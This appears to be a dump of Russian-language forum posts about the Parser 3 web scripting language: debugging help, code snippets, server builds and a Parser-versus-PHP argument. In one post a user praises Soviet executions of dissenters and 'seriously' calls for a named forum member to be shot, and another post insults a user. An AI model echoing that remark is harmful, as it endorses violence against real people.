4. Читабельность кода на парсере выше чем на php т.к. в php для каждого куска кода нужно писать <? ... ?> а в парсере такого не нужно делать.\
\
php популярнее потому что на нём уже много всего написано и тут уже начинает работать сетевой эффект."
"21772","там столько всего уже написано\
\
могу только сказать что про одноуровневое наследование это вранье, а куча софта это очень круто.\
\
и про скорость кодирования это вообще фан :-)"
"21773","Не нашёл\
\
> могу только сказать что про одноуровневое наследование это вранье\
\
Так мне php'шники сказали, значит наврали.\
\
> а куча софта это очень круто.\
\
И у нас такое будет ... со временем.\
\
> и про скорость кодирования это вообще фан\
\
И нечего не прикол. Кстати что вы имеете ввиду под фан? вентилятор или прикол? мАсква ... :)"
"21774","вступать в политическую полемику - лоховство и пустой разговор, так и порешим.\
\
а вы поспорьте лучше с хантами, по поводу нефтяных отчислений :-)"
"21776","Это всё издержки демократии (неприятные надо сказать). Этим мне нравилось в СССР - то что инакомыслие жестоко каралось, на заре СССР даже к стенке ставили.\
\
Разумеется с точки зрения личности, демократия это явный плюс, однако  с точки зрения управляемости, устойчивости и безопасности это минус.\
\
PS: Я за СССР :) Смалекса к стенке (серъёзно)"
"21777","Здравствуйте, уважаемые коллеги! :о)\
Правильно ли я понял, что пока не существует ODBC драйвера под unix?\
Какие варианты, кроме написания драйвера, :о) можете предложить?\
Заранее всем огромное спасибо!"
"21778","Столкнулся с такой проблемой и хотелось бы это сделать средствами парсера.\
только вот до меня не допирает как это дело осушествить.\
Обьясните структуру создание прайс листа.\
по пунктам."
"21779","я уже предлагал свою помощь. у среднего займёт два дня."
"21780","Ибо прайс прайсу рознь, скажем у компьютерной конторы его структура и вид сильно отличаются от прайса хлебозавода или металлургического завода.\
\
А если брать тупо:\
\
- Каталожный номер\
- Наименование товара\
- Цена\
- Наличие\
\
То и объяснять не надо как это дело зафигачить - тривиально это очень."
"21781","Конвертирую с помощью перловой библиотеки из xls формата в парсеровскую таблицу, а дальше дело техники... можно в базу загнать, можно так же в таблице сохранить.\
Самое главное, что не нужно писать интерфейса, и любая секретарша способна его корректировать и выводить."
"21782","В данном случае, вроде бы, можно обойтись и без этого драйвера. - Потребность в данных, хранящихся на MSSQL, четко формализована и объемы этой БД не очень велики, что позволяет на MySQL, установленной на unix, создать копию нужной базы и, по мере появления изменений в оригинале дополнять ее с MSSQL-сервера через ODBC драйвер для MySQL.\
Но это, так скажем, безперспективное решение.\
Посему есть желание идти правильным путем. Кроме того, буду рад вложить какой-то свой небольшой кирпичик в ваше нужное дело. :о)\
Пожалуйста, отправьте мне Ваши советы (что-то вроде краткого тех.задания) по написанию этого драйвера, чтобы я с этой информацией мог достаточно конкретно пообщаться с программистами.\
Удачи Вам! :о)"
"21783","нужно взять исходник имеющегося драйвера. можно этот:\
http://www.parser.ru/f/1/download/src/parser3mysql-3.1.0.tar.gz [winzip распакует]\
и поправить его.\
\
необходимо реализовать тривиальный интерфейс. тут документация с перекрёсными ссылками:\
http://www.parser.ru/docs/src/classSQL__Driver.htm\
\
когда найдёте исполнетеля, поиском по форуму найдёте, что именно я могу предложить в помощь."
"21784","делаете ODBC source к вашему MSAccess файлику.\
[поиск по форуму приведёт вас к детальным инструкциям, как это сделать, вплоть до нажатий нужных кнопок]\
\
после чего достаёте нужные данные SQL командами и показываете как считаете удобным."
"21785","http://www.nexcomp.ru/price/\
\
как осушествляеться связь между меню слева, базой и т.д....\
а если добавляеться новый пункт (это из файла считываеться или из базы) не пойму \
\
Заранее спосибо...."
"21787","http://www.nexcomp.ru/price/\
Это понятно....а как меню свезать с базой если мона то поподробней"
"21789","боюсь, у любого языка программирования будут проблемы распарсить ваш код.\
\
документацию прочли? \
подробный готовый пример календаря новостей видели?\
он не показался вам точной копией вашей задачи?"
"21790","А я не парился с Перлом и дал указание \"сохранить как\" - tab delimited в Excel'e =)"
"21792","Ежу понятно, что вы даже ничего не читали и не пробовали. Так что в доку (сначала по БД, потом по парсеру), и этот разговор стоит закончить.\
\
А вопросы типа как мне заработать миллиард (а это именно такой вопрос) задавать просто бесмысленно."
"21793","если возможно формировать меню группповой выборкой то как запрос ставить?????\
select что? from kategor where что? \
Вот заморочка вот над чем голову поломать надо!\
НО вот в доке пример с новостями не очень подходит.."
"21794","форум по parser не место для этого."
"21795","чем конкретно не подходит?"
"21796","> а куча софта это очень круто.\
\
И у нас такое будет ... со временем.\
\
Со временем???\
А что мало времени прошло с тех пор как 3-й парсер вышел?\
А желающих мало выложить исходники."
"21798","спасибо Misha v.3 за новый \"ход мыслей\""
"21799","Почему не работает split:\
Пишет string method not found split"
"21800","секрет?"
"21801","Код из helpa\
$str[/a/b/c/d] \
$parts[^str.split[/;h]] \
$parts.0, $parts.1, $parts.2"
"21802","и приведите сообщение об ошибке, с указанием номера строки(колонки)."
"21803","@User_info[]\
$Users[^table::sql{exec sp_cx_GetUserInfo null, $uid}]\
^if($Users){\
	^Users.menu{\
	<table border=\"0\" width=\"90%\" cellspacing=\"0\" cellpadding=\"4\" align=\"center\">\
		<tr><td colspan=\"3\" align=\"center\"><font face=\"Verdana, Arial, Helvetica, sans-serif\"><b>Информация об участнике <font color=\"#00FF00\">$Users.Login</b></font>^if(def $Users.ParentID){<br>[Команда <a href=\"/registration/teams/?pid=$Users.ParentID\">$Users.Parent</a>]}</td></tr>\
		<tr>\
			^if(def ^file:find[/f/1/images/avatars/${Users.UserID}.jpg]){\
			<td rowspan=\"9\"><img src=\"/f/1/images/avatars/${Users.UserID}.jpg\"></td>\
			}\
			<td width=\"50%\" class=\"frm\">UserID</td>\
			<td width=\"50%\" class=\"uinfo\">$Users.UserID</td></tr>\
		<tr><td class=\"frm\">Login</td><td class=\"uinfo\">$Users.Login</td></tr>\
		<tr><td class=\"frm\">пол</td><td class=\"uinfo\">$Users.sex</td></tr>\
		<tr><td class=\"frm\">E-mail</td><td class=\"uinfo\">\
		$str[$Users.Email]\
		$parts[^str.split[@]]\
												<script language=\"JavaScript\">\
														javascript:ProtectEmail('$parts.0', '$parts.1')\
												</script>\
		</td></tr>\
		<tr><td class=\"frm\">URL</td><td class=\"uinfo\"><a href=\"$Users.HomePage\" target=\"_blank\">$Users.HomePage</a></td></tr>\
		<tr><td class=\"frm\">ICQ</td><td class=\"uinfo\">$Users.ICQ</td></tr>\
		<tr><td class=\"frm\">Мобила</td><td class=\"uinfo\">$Users.Mobile</td></tr>\
		<tr><td class=\"frm\">Пагер</td><td class=\"uinfo\">$Users.Pager</td></tr>\
		<tr><td class=\"frm\">Очки участника</td><td class=\"uinfo\">$Users.Points</td></tr>\
	</table>\
    }\
}"
"21805","Поставил Денвер... Набрал  первый пример с меню.\
\
Файл error.log рядом с моей папкой www выдает:\
\"[Wed Oct 08 16:17:21 2003] [error] [client 127.0.0.1] client denied by server configuration: z:/home/test.ru/www/index.php\"\
А веб-страница вместо меню выдает:\
\"Unhandled Exception (Debug)\
column not found\
menu \
z:/home/test.ru/www/auto.p(5)\
exception.type=parser.runtime \
---------------------------------------------------------------navigation z:/home/test.ru/www/index.html(1)\"\
\
Помогите разобратся!!"
"21806","предварительно перестаньте публиковать ошибки про php и про parser в одном письме :)"
"21807","извиняюсь за тупость \
код чего????????"
"21808","Когда есть вопрос, есть причина - предмет вопроса. Задайте вопрос поконкретнее и привидите код, который Вы набрали. Можно отдельно выделить кусок кода, который по-вашему вызывает ошибку.\
\
А конкретно в вашем случае Парсер говорит, что не найден столбец menu в tab-delimited-файле. Чаще всего там прячутся лишние пробелы. Вот мой Вам совет: сразу пишите чистый код без пробелов в начале или конце строки, а для отступа в начале строк используйте tab."
"21809","Ничего не читая, хотите получить подогнанное под вас решение. Никто за вас думать не будет. Люди ясно сказали - разговор закрыт, тем более вы даже не удосужились не то что имени указать, но и ник не располагает к общению. Подумать надо, прежде чем лезть с такими вопросами."
"21810","спасибо за помощь ,но пока не выходит\
со столбцами у меня только файл sections.cfg в виде:\
section_id	menu	uri\
1	       главная /\
2	       новости	/news/\
3	       контакты	/contacts/\
тут между столбцами по одному табу. Так сказано в документации.\
Может еще что-то подскажете??"
"21811","И вообще, всех приверженцев PHP.(тут опять смалик дебильный).\
Лично я считаю, что скоро Парсер вытеснит ПХП на территории России, потому что удобнее реализовывать удобные вещи типа наследования, классов, работы с БД, ХМЛ. Кроме того, быстродействие наглядно даже в средних скриптах. Мне лично нравится, что не ощущаешь \"тяжеловесной слоноподобности\" скрипта. Но зато у ПХП очень много мелких экзотических фич, которые в принципе не нужны среднему кодеру. Для задач типа сложного портала Парсера более чем достаточно. А ПХП оставим для баннерокрутилок.\
\
Россия не должна быть простым потребителем очередных ножек Буша. Свое даже лучше получается.\
\
А насчет софта, так это правда сейчас уже проблема. Хотелось бы типа EditPlus для Парсера.\
\
P.S.: Это мнение человека, который не имеет понятия об ООП и других страшных словах."
"21812","Тут точно где-то пробел, у меня часто так было. Парсер четко скажет, что ему не нравится. Ну не находит он столбец menu. \
\
А вообще, зачем Парсер в .php пихать???"
"21813","В документации сказано в создать файл sections.cfg в котором поместить приведенную мной выше таблицу. \
Я дела текстовый файл там вношу данные, потом меняю расширение тхт на cfg (может я что-то фантазирую в создании cfg-файла)\
или дело только в пробелах???\
\
Спасибо"
"21814","Я там писал, как \"перевести\" второй парсер на русский язык."
"21815","...дайте мыло, я кину Вам точно работающий файл, а вы сообщите, есть ли ошибка. Если да, то какая + код, где вы загружаете и читаете этот файл."
"21816","Спасибо... пойду покапаюсь сам в документации, а то никак руки не доходили, а теперь и повод появился :))"
"21817","Что вы имеете ввиду, когда говорите про \"EditPlus для Парсера\"?"
"21818","с ней можно работать, но крайне неудобно — есть метод с таким же именем.\
\
согласитесь, слово «title» куда лучше обозначает то, что вы туда положили.\
\
выстрел в темноту (вы до сих пор не привели код):\
вы почему-то пишете вместо ^table.menu{ \
$table.menu{\
и что-то хотите."
"21819","что за глюк такой с хешем? использую\
\
^myhash.foreach[key;value]{\
ляляля\
}"
"21820","«ляля» недостаточно."
"21821","спасибо Александр, сам уже разобрался.\
\
дело было не внутри, а снаружи :-)\
\
я хеш неправильно написал (с точкой):\
$.myhash[\
...\
]"
"21822","Хочется сделать возможность открытия/закрытия отдельных ветвей дерева. Но вот с каким подводным камнем я столкнулся.\
Для каждой ветви нужно передавать положение открыт/закрыт.\
А что если дерево большое? \
строка запроса больше 256 символов не принимает, у куки тоже размер записи ограничен, короче вопрос: куда бросать информацию о ветвях?"
"21823","Евгений!\
\
Получается, что нужна возможность сохранять данные\
о сессии клиента. В нашем случае я\
предполагаю сл. сценарий.\
Клиент обратился  к серверу.\
Для него создается сессия. К \"описанию\"\
этой сессии мы привязываем объект дерево,\
в котором указано, что в дереве свернуто, а что развернуто.\
Формируя страницку по запросу пользователя,\
мы берем сохраненный в сессий объект\
и по нему строим дерево.\
\
Возможно, я использую неправильную терминологию,\
но, надеюсь, понятно, что я хотел сказать.\
\
В jsp, asp подобный механизм реализован.\
В Парсере пока, видимо, нет.\
\
Вопрос в том, а оно нужно?\
Если интерес исследовательский, тогда можно\
заодно и порешать более общую задача -\
отслеживания сессий.\
\
В крайнем случае, можно все страницы получать\
не GET'ом а POST'ом. Тогда можно в параметры\
запихать все что угодно. Взять объект,\
\"сеарилозовать\" :) его как-нибудь и запихать\
в параметр. Пользователь нажимает на ссылку,\
отрабатывает javascript, который делает post\
формы с параметром. Это как вариант :)"
"21824","Если по-умолчанию все ветви закрыты, это уже убирает половину информации. Кроме того если открыт потомок некой ветви совсем необязательно указывать идентификатор его родителя.\
\
Ну или чем, действительно, не подходит POST?"
"21825","Как я делал:\
\
1. iframe нулевого размера, туда говорить что дерево изменило состояние, парсером складывать в базу. У меня замечательно в интранете крутиться.\
\
2. При изменении состояния в куку js дописываем id:state; получается что-то типа такого:\
[code]\
id1:open;id2:close;id1:close;id1:open;\
[/code]\
\
(id1 дергается потому что пользователь открывал/закрывал ветку).\
потом парсером это дело разбираем в таблицу id-state, оставляя только последнее вхождение для каждого id. Те значения, которые eq default, убираем а из оставшегося формируем новую куку (id1:open;id2:close) и отдаём её браузеру.\
\
Блин, объяснение получилось длиннее чем код. ;)"
"21826","мое мыло - info@cstei.lviv.ua"
"21827","Например:\
[code]\
@format[str][l;start;i]\
  $l(^str.length[])\
  ^if($l <= 3){\
    $res[$str]\
  }{\
    ^if($l % 3 > 0 ){\
      $res[^str.mid(0;$l % 3),]\
    }{\
      $res[]\
    }\
    $start($l % 3)\
    $res[${res}^for[i](0;$l\\3-1){^str.mid($start+$i*3;3)}[,]]\
  }\
  $result[$res]\
\
@main[]\
\
^format[1234567]\
[/code]"
"21829","Ну в чем же тут дело?????\
\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
<tr>\
^sections.menu{\
		<td align=\"middle\">\
		    <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
                </td>\
               }\
		</tr>\
</table>"
"21830","Не поленился, открыл Фридла, там так:\
[code]\
$str[a big number = 1233454365645]\
^str.match[\
	(\\d)\
	(?=\
		(\\d\\d\\d)+(?!\\d)\
	)\
][xg]{$match.1,}\
[/code]\
Выведет: a big number = 1,233,454,365,645"
"21831","не работает а почему??\
\
<form>\
<input type=\"text\" name=\"mail\">\
<input type=\"submit\" value=\"заказать\">\
</form>\
^if(def $form:mail){\
^mail:send[\
$.from[с магазина<wersia@front.ru>]\
$.to[вам<$form:mail>]\
\
$.subject[вам письмо о подтверждении заказа] \
      $.text[ проверка]\
]}"
"21832","Iva!\
\
В файле sections.cfg, который вы привели,\
колонка называется menu, а в коде\
вы пишите $sections.name.\
Нужно в файле sections.cfg переименовать\
колонку.\
\
Или вы уже переименовали, а sections.cfg там\
старый?"
"21833","Проблемы где-то в другом месте - скорее всего в неверном sections.cfg"
"21834","У меня приведенный пример работает.\
Скопировал, запустил и получилось.\
Может быть неправильно описана\
переменная\
[code]\
$MAIL[\
	$.SMTP[адрес smtp сервера]\
]\
[/code]"
"21835","если сами не разглядите собственной ошибки, пришлите problem.zip со всеми нужными файлами. чтобы осталось распаковать и открыть.\
\
укажите версию parser и операционную систему, под которой пробуете."
"21836","Ошибку обнаружил \
Это все-таки был ненужный пробел в коде \
Впредь буду слушать старших и приводить код когда просят"
"21837","...приходит ли инфа из формы\
\
[code]\
<form>\
<input type=\"text\" name=\"mail\" [i]value=\"$form:mail\"[/i]>\
<input type=\"submit\" value=\"заказать\">\
</form>\
^if(def $form:mail){\
^mail:send[\
$.from[с магазина<wersia@front.ru>]\
$.to[вам<$form:mail>]\
\
$.subject[вам письмо о подтверждении заказа] \
$.text[ проверка]\
]}\
[/code]"
"21838","2all: как уже писал, в CVS|HEAD я уже поправил, чтобы подобное выдавало parse error с указанием строчки и колонки с пробелом."
"21840","Ведь его можно узнать только с помошью JS?\
А как оттада сохранить в файл/базу?"
"21841","Видимо, сделать соответствующий get-запрос скрипту, который возьмет уже данные из query и запишет в базу."
"21842","т.к. пост данные нельзя указать через строку:\
<a href=\"?id=12\">...</a> такое в post не полезет.\
\
iframe отпадает из-за неподдерживаемости браузерами.\
\
остается только сессия..."
"21843","хм... а попроще нельзя придумать что-нибудь? :)\
\
Хочу сделать систему статистики пользователей сайта...\
и на каждой странице запрос посылать?"
"21844","А какой из браузеров не поддерживает iframe?"
"21845","мой код был правильный, но я вчера в отчаянии  колонку name в sections.cfg переименовал"
"21846","Можно на странице подгружать картинку.\
В uri картинки с помощью js дописывать\
все, что нужно (разрешение экрана,\
название и версию браузера и все что\
получится).  Так, насколько я знаю,\
многие делают :)"
"21847","Что, собственно, и было посоветовано :)"
"21848","Уважаемые подойдет ли parser3_1_0_freebsd48R_cgi.tar.gz \
для Freebsd версии 4.5?"
"21850","«если в sections.cfg есть колонка \"menu\", то код http://www.parser.ru/forum/?id=21829 выводит сообщение об отсутствии колонки \"menu<пробел>\"».\
\
так?"
"21851","не а не пашет\
и ошибки не выдаёт что самое интересное..\
\\Если есть мысли то делитесь...\
http://www.magaz.ru/zakaz.html?mail=site210@mail.ru\
получаеться эта строка а письма нет"
"21853","Попробовал.\
При вызове /cgi-bin/parser3.cgi\
Выдает Internal Server Error\
Права проставлены.\
Ну и не понятно то ли скипт под эту версию не работает то ли где еще ошибка??"
"21854","Там скорее всего есть сообщения об отсутствующих библиотеках. Бинарики 3.1 от Студии, не работают на многих хостингах."
"21855","если я правильно понял проблему:\
\
Состояние дерева (ранее открытые ветки) храним в форме (hidden)\
[code]\
<form name=\"treeState\"...  >\
<input type=\"hidden\" name=\"id\" value=\"\">\
<input type=\"hidden\" name... >\
\
<a href=\"?id=12\" onClick=\"treeStateSubmit(12); return false;\">...</a>\
\
function treeStateSubmit(arg){\
    document.treeState.id.value = arg;\
    document.treeState.submit()\
}\
[/code]"
"21856","Ошибка\
\
Premature end of script headers: /usr/local/apache/..../cgi-bin/parser3.cgi\
Error getting stack base"
"21857","У меня на 4.5 бинарики Студии работают. На хостинге правда нет и для него пришлось самому собирать."
"21859","В принципе уже не важно, так как версия\
parser3_3_0_0007_sp1_freebsd47R_cgi.tar.gz \
заработала.\
\
Думаю отличия несущественны."
"21860","Не то чтобы они очень существенны, но заметны."
"21861","но на крайняк в нем был <layer src=... > со схожей функциональностью, у Leechy где-то был пример по теме, не нахожу..."
"21862","[code]\
^mail:send[\
$.errors-to[wersia@front.ru]\
$.from[\"с магазина\" <wersia@front.ru>]\
$.to[\"вам\" <$form:mail>]\
\
$.subject[вам письмо о подтверждении заказа]\
$.text[ проверка]\
]\
[/code]"
"21863","[quote]\
1) задать формат вывода http://www.parser.ru/docs/lang/intdoubleformat.htm\
[/quote]\
Это как?"
"21864","делаю сейчас форум.\
как посчитать пользователей онлайн? чёта не врубаюсь. посчитать-то как - понятно, т.е. залогинился - +1. а если он ушёл потом, как это отследить?"
"21866","на каждой странице форума пропиши такой код:\
[code]\
^void:sql{update users set date='^now.sql-string[]' where id=$user.id}\
[/code]\
\
А выборку тек, кто OnLine делай так:\
[code]\
$date[^date::create($now-2/1440)]\
$online[^table::sql{select login from users where date>'^date.sql-string[]']\
[/code]\
\
P.S.: $now-2/1440 - это две минуты назад.\
в принципе вся проблема и есть в этой величине :) может быть он 2 минуты сообщение читал, а мы его выкинули?\
Можно сделать побольше - смотри сам."
"21868","не туда ответил...\
\
а вообще, обновите версию Парсера, ато что, получается PAF зря старается и новые версии нам тут выпускает?"
"21869","ПАФ старается не зря, - ему денег клиенты дают, в отличии от нас. А мы, на самом деле, просто подопытные кролики, или тестеры если хотите :)"
"21870","хотелось-бы надеяться, что хоть какая-то реальная польза от нас есть, а то сидит человек днями в форуме, отвечает на дурацкие вопросы, вместо того чтобы делом заниматься. И чем популярнее язык, чем шире круг пользователей, тем болше этих вопросов, и не видно этому конца...\
\
Вот кстати и Миша пропал куда-то, наверное уже сыт этим всем по горло...  =)"
"21871","Ну понятно в принципе.\
\
$now-2/1440 \
\
а что значит 2/1440? непонятно, откуда 1440?"
"21872","Или у меня руки кривые или я чего не так делаю. \
Скачал я parser3_1_0, а ошибка такая же и осталась. Ну не хочет работать split.\
Кстати тут мне приводили примеры с lsplit - а это чего за функция."
"21873","А как Parser в плане безопасности, ну я про то ,что возможно ли\
взломать сайт на основе Parser, есть какие ли баги или как там еще это называется?"
"21874","в версии 3.0.6, если не ошибаюсь, её заменили на split.\
\
не знаю, попробуйте $parts[^str.split[@;l]], попробуйте split по новой написать, может у вас там русская \"эр\" затесалась..."
"21875","Все равно ничего не получается.\
А может как нить с помощью регулярных выражений можно разбить строку на две."
"21876","$now-2/1440 - 2 минуты\
$now-3/1440 - 3 минуты\
\
1/1440 часть суток - это минута."
"21877","короткий."
"21878","У вас Парсер установлен? и работает?\
\
Что он например думает по этому поводу:\
\
[code]\
@main[]\
$z[Я, парсер, работаю]\
$z\
[/code]"
"21879","[code]\
Cant fork daemon\
Abort (core dumped)\
[/code]\
при запуске Parser 3.1 со статически прилинкованной libgc и\
[code]\
/proc open failed\
Abort (core dumped)\
[/code]\
при запуске с динамически прилинкованной libgc?\
[code]\
%uname -a\
SunOS hosting3 5.8 Generic_108528-18 sun4u sparc SUNW,Sun-Fire-280R Solaris\
[/code]"
"21880","если берётесь собирать, знаете, что нужно делать, когда имеете core-файлик."
"21882","при установке libgc make check спотыкается на тех же ошибках (/proc open failed). В http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/recent_changes в секции \"To do:\" есть запись:\
[code]\
- GC_proc_fd for Solaris is not correctly updated in response to a\
   fork() call.  Thus incremental collection in the child won't work\
   correctly.  (Thanks to Ben Cottrell for pointing this out.)\
[/code]\
Не совсем понимаю почему, но мне кажется что кроется какая-то связь :)"
"21883","...что если уж отдельную софтину с подсветкой синтаксиса (хотя бы) никто не сподобился смастерить, так нельзя ли плугин какой-нить сделать для существующих редакторов кода? Я не считаю, что подсветкой для ФАРа можно нормально пользоваться (слишком аскетично). Это мое мнение."
"21886","Парсер выкидывал ошибку (не знаю какую) когда я переименовал в sections.cfg  колонку name  на колонку menu.\
Но сейчас все нормально.\
Спасибо."
"21888","Задача: люди приходят с поисковиков с адреса типа [url]http://www.parser.ru/forum/?terms=%F2%E0%E1%EB%E8%F6+%EF%E5%F0%E5%EA%EE%E4%E8%F0&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8[/url] надо понять, что это за [b]%F2%E0%E1%EB%E8%F6+%EF%E5%F0%E5%EA%EE%E4%E8%F0[/b], есть основания пологать, что это будет КОИ или UTF .. \
\
Хотелось бы узнать от чего зависит кодировка в которой приходит URL ... (и как это узнать :)\
\
Лекции можно не читать, просто носом ткнуть ..\
Заранее, пасиб!\
\
PS: нашел вот такую таблицу перекодировки .. \
[url]http://www.parser.ru/forum/?id=17344[/url]\
Может у кого есть уже готовые и получше [пополнее]?"
"21889","Вопрос к разработчикам: как здесь работает поиск - через LIKE или через FULLTEXT индексы (MATCH AGAINST..) ?\
\
а то сделал через FULLTEXT, и он как-то странно себя ведёт."
"21890","есть работающие 3.1 парсеры на платформах:\
\
[code]\
[paf@six] ~> uname -a\
SunOS *** 5.8 Generic_108529-13 i86pc i386 i86pc\
[/code]\
и\
[code]\
$ uname -a\
SunOS *** 5.8 Generic_108528-05 sun4u sparc SUNW,Ultra-Enterprise\
[/code]"
"21893","Предлагаю:\
\
1. В письмах с сообщениями с форума\
в начало заголовка добавлять что-нибудь\
типа \"Парсер форум:\". Иначе трудно по заголовку\
понять откуда взялось письмо. Не думаю,\
что от этого кто-то пострадает, но как\
минимум одному человеку (то есть мне) будет\
лучше :)\
\
2. По тексту письма часто трудно догадаться,\
к чему оно относится. Приходится открывать его на форуме,\
для того, чтобы увидеть тред. Можно ли в тексте\
письма внизу дописывать дерево тредов.\
Чтобы сообщение выглядило так же, как на странице форума.\
Иначе, какой смысл в письме - разве что только\
уведомить, что появилось новое сообщение.\
Даже, если ждешь сообщения в каком-то треде,\
нетривиально понять, что вот это новое сообщение\
появилось там, где нужно.\
\
Спасибо!"
"21894","1. У почтовых клиентов есть фильтры.\
2. Почтовые клиенты умеют строить деревья из писем с форума. [Соответствующие конструкции в письмах имеются, как настроить почтовик - ищите в форуме.]"
"21895","шо за фигня. с другими форумами также :-(\
\
как побороть?"
"21896","...поэтому почтовый клиент не в состоянии выстроить ответы в дерево.\
\
однако данное уведомление делалось лишь для того, чтобы посетитель хелающий получить ответ на свой вопрос мог получить уведомление.\
\
дублироваться в письмах (plain text) с ответами треды форума мне не кажется разумным (когда можно кликнуть по ссылке и все посмотреть).\
\
а по п.1 все совершенно верно: почтовые клиенты имеют фильтры, и покидать с помощью фильтров письма в отдельную папку мне не кажется очень сложным."
"21897","1. Как настроить фильтр для сообщения -\
хотя бы по e-mail отправителя. Я же не пишу,\
что это невозможно. Просто мне было бы удобней,\
если ... Не вижу причин настаивать на своем предложении.\
\
2. К сожалению, я не сумел найти в форуме как заставить\
почтовый клиент строить дерево из писем форума.\
Если покажете, буду вам благодарен!\
\
Спасибо!"
"21899","и в форуме есть, например:\
http://www.parser.ru/forum/?id=2050\
http://www.parser.ru/forum/?id=14435"
"21900","Теперь есть и для EditPlus схема подсветки синтаксиса - http://www.parser.ru/f/1/download/utils/p3_editplus_colorer.zip"
"21901","Спасибо за рекомендации!\
\
\"Группировка сообщений по теме обсуждения\" -\
это как раз то, что мне было нужно.\
\
В виду наличия такой возможности, необходимости\
в моих предлоениях нет :)"
"21902","Для отображения [b]%XX[/b] достаточно позвать [b]^#XX[/b] (замена, полагаю, очевидна).\
Но: это сработает только в том случае, когда кодировка этого [b]%XX[/b] совпадает с $request:charset.\
\
Что делать, если не совпадает: (для koi -> win)\
1. Грузим в таблицу чарсеты с помощью ^table::load[$MAIN:charsetsdir/нужный.cgf]. Грузить надо koi и в другую таблицу - win\
2. Разбиваем [b]%XX%YY%ZZ[/b] на байтики (XX, YY, ZZ)\
3. Делаем по koi ^koi.locate[char;0x\"байтик\"]\
4. Делаем по win ^win.locate[unicode1;$koi.unicode1]\
5. Вычленяем из найденного $win.char XX и делаем ^process[^^#XX]\
\
Муторно, но решаемо.\
Понятное дело, не учтены неэскейпящиеся символы (латиница, цифры, минус) и + (пробел)\
Ну и конечно ^process[] надо делать один на уже собранную строку ^#XX^#YY^#ZZ..."
"21903","Mail.ru свихулся на отлове спаммеров."
"21904","насколько я знаю до сих пор парсер никто ещё не взломал.\
\
но так как исходники доступны всем и программ без ошибок не бывает, то теоретически и практически вполне возможны какие-нибудь хаки.\
\
а пока всё спокойно :-)"
"21905","Во-первых: это классный метод, спасибо за хорошее изложение.\
\
Может все  же ввести в Парсер несколько простеньких операторов для перекодирования, типа как в PHP. Один оператор ^charset_encoding[$from;$to;$text] мог бы решить массу вопросов, теперь придется писать его самому. Но да ничего, справлюсь, потом людям подарю :)\
\
Я понимаю, концепцию Парсер, по которой перекодирование сводится к минимуму, но порой от него просто никуда не деться .."
"21906","самое смешное, недавно мне туда ежедневно приходило по десятку троянов по 150 кб каждый."
"21908","<form method=\"POST\"> \
   <p><input type=checkbox name=stoimo value=\"150\">Товарный знак вашей фирмы</p> \
   <p><input type=checkbox name=stoimo value=\"100\">Слоган</p> \
   <p><input type=checkbox name=stoimo value=\"200\">Фирменный шрифт</p> \
   <p><input type=submit value=\"OK\"></p> \
</form> \
$hobby[$form:tables.stoimo] \
^if($hobby){ \
    Сумма:<br> \
^hobby.menu{ \
###вот здесь запор  как подсчитать сумму??\
     ^eval( )[%.2f] \
\
  }\
[<br>] \
}{ \
    Ничего не выбрано \
}"
"21909","Для всех за редким исключением задач перекодирование не нужно.\
А вот когда начинаются эти самые \"исключения\" - приходится извращаться.\
\
Теперь об описаном мною методе: он хорош, но только при условии, что выполняется он редко. Если нужно им пользоваться часто - надо с помощью него просто создать таблицы замены - дешево и сердито. Как? Просто сгенерить последовательность %00...%FF и перекодировать. Полученное собрать в tab-delimited вида:\
[code]koi	win\
%00	\"символ с кодом 00\"\
...\
%FF	\"cимвол с кодом FF\"[/code]\
и все. Таких табличек нагенерить на все случаи жизни можно."
"21911","вводишь переменную\
$sum(0)\
...\
\
$sum(^eval($sum+$form:tables.stoimo))"
"21914","^server[user:password@host:port/database;\
    ^sql[show tables]\
        ^menu[^item[0]<BR>]\
 ]\
\
как получить от парсера ответ в чем ошибка"
"21915","[code]\
$ uname -a\
SunOS *** 5.8 Generic_108528-05 sun4u sparc SUNW,Ultra-Enterprise\
[/code]"
"21917","да хоть бы где-то написал в чем ошибка\
а то пустота"
"21918","А в БД точно есть таблицы?"
"21919","понятно значит ошибка запуске файла"
"21921","HINT:\
Перекодировка для маленьких:\
Необходим Parser + СУБД\
К примеру, озадачимся перекодировкой win <-> koi\
1) Грузим необходимые файлы кодировок из /charsets/ в БД (каждый в свою табличку, столбец для каждой кодировки обзываем ее именем)\
2) Выполняем JOIN табличек по полю unicode1\
3) Сохраняем всю табличку (столбцы windows-1251 и koi8-r) в файл. Удаляем все, что не нужно.\
4) Regexp-ом проходимся по табличке и заменяем все \"0x\" на \"#\"/ Сохраняем.\
5) Подготавливаем дополнительную табличку, соответствующую правилам кодировки uri (к примеру, + заменить на пробел, % на #)\
\
Все.\
При получении рефера необходимо лишь сделать 2 ^строка.replace[$таблица_подстановок]\
и  ^process{строка}"
"21922","можно обойтись без второго replace и process."
"21924","Тема по итогам моего ковыряния поиска подымавшаяся но не совсем раскрытая и так:\
\
preg_replace - выполняет поиск и замену регулярного выражения.\
\
это понятно типа используем .match, но:\
\
Каждый параметр preg_replace() может быть массивом.\
\
, а в Парсере?"
"21925","Тут есть ^menu для автоматического перебора всех элементов массива."
"21926","так что если мне нужно в тексте который весит достаточно много заменить и сотню комбинаций мне придется все это перебирать раз за разом вызывая match, или всетаки как то можно впехнуть значение хеша?"
"21927","... это не сложно. Определяете какого типа к вам пришли параметры и запускаете соответствующую пачку матчей.\
\
Но в любом случае PHPшная функция будет тоже обрабатывать регулярные выражения по очереди. По-другому просто не получится."
"21928","Ну вот. Оцените недельный труд.\
\
http://www.nbsp.ru/forum/\
\
Сильно ногами не пинать :-) Возможности практически такие же, как и у этого. Кое-каких мелких фишек нет, зато есть \"кто в online\".\
\
P.S. NBSP.ru - журнал для вебмастеров."
"21930","но код довольно сумбурный :-) мягко говоря. если это не имеет значения, могу выложить — а там пусть разбираются, кто как может."
"21931","Окно кно эксплорера делится на 4 фрейма, один из фреймов messages.\
\
Я загружаю во фрейм sender_messages страницу следуещего содержания:\
\
[code]\
<html>\
<head>\
</head>\
<body>\
<script type=\"text/javascript\" language=\"JavaScript\">\
<!--\
function go(){\
self.parent.messages.reload(true);\
}\
-->\
</script>\
<form method=\"post\">\
<input type=\"text\" name=\"body\" size=\"90\">\
<input type=\"submit\" name=\"post\" value=\"Отправить\" onclick=\"go()\">\
</form>\
</body>\
</html>\
[/code]\
\
